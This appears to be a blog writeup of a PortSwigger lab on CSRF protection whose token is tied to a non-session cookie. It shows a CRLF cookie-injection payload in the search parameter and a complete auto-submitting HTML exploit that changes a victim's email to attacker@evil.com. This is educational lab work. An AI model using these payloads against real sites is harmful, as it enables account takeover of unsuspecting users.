Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

CSRF where token is tied to non-session cookie | Dec 15, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: CSRF where token is tied to non-session cookie! Without further ado, let’s dive in.

Background

This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

Exploitation

Home page:

Login as user wiener:

In the previous labs, we found that the email change functionality is vulnerable to CSRF, and it uses tokens to try to prevent CSRF attacks:

<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
    <label>Email</label>
    <input required type="email" name="email" value="">
    <input required type=hidden name=csrf value=hMX6roXxx4LPkQUpRCr5tJFKc5s6NzJM>
    <button class='button' type='submit'> Update email </button>
</form>

Let’s try to update our email address, and intercept the request via Burp Suite:

As you can see, this time it also include a cookie called csrfKey, and a parameter csrf!

Hmm… What if I change the value of csrfKey?

It outputs Invalid CSRF token!

And what if I change the value of session?

It redirects me to /login, which is log out the current session, and also set a new session cookie!

Now, let’s login as user carlos, and try to swap csrfKey cookie and csrf parameter from user wiener:

Hmm? The csrfKey cookie and csrf parameter is exactly the same as user wiener!

The only difference is the session cookie!

This proves that the back-end’s CSRF protection doesn’t integrate into the session system.

Now, we still couldn’t change victim’s email address, as the csrfKey is a cookie! And we couldn’t simply add our own cookie value.

After poking around, I found that the home page’s search box is interesting:

Let’s search something, and intercept the request in Burp Suite:

When we click the Search button, it’ll send a GET request to / with the parameter search.

Also, when we sent the request, it’ll set a new cookie value: LastSearchTerm=<seach_parameter_value>!

That being said, we can set any cookie value as we wanted.

But how can we abuse this?

In Mozilla web docs, it said:

To send multiple cookies, multiple Set-Cookie headers should be sent in the same response.

Hmm… That means we can set multiple cookies?

After I google this a little bit, I found this Medium blog:

Wait. CRLF injection allow cookie injection?

And after googled about CRLF injection, I found this post on GeeksforGeeks:

So if the web application is vulnerable, we can injection %0d%0a (\r\n) in the request??

Let’s try that!

Payload:

/?search=anything%0d%0aSet-Cookie:csrfKey=CRLF%3b%20SameSite=None

Note: The %3b%20 means ; , and we need SameSite is set to None.

Nice! We’ve successfully set a new cookie!

Now, let’s craft a HTTP form that performs CSRF attack on changing email!

<html>
	<head>
		<title>CSRF-5</title>
	</head>
	<body>
		<form action="https://0a38003c0466e7dbc41f2f84009200ac.web-security-academy.net/my-account/change-email" method="POST">
		    <input type="hidden" name="email" value="attacker@evil.com">
		    <input type="hidden" name="csrf" value="hMX6roXxx4LPkQUpRCr5tJFKc5s6NzJM">
		</form>
		<img src="https://0a38003c0466e7dbc41f2f84009200ac.web-security-academy.net/?search=anything%0d%0aSet-Cookie:csrfKey=cYKdlnK4AuLbcbZBymW44Vizt6UkQpRK%3b%20SameSite=None" onerror="document.forms[0].submit()">
	</body>
</html>

Let’s break it down:

Armed with above information, we can try to use the exploit server to change victim’s email address!

After clicked Store button, click Deliver exploit to victim:

We did it!

What we’ve learned:

  1. CSRF where token is tied to non-session cookie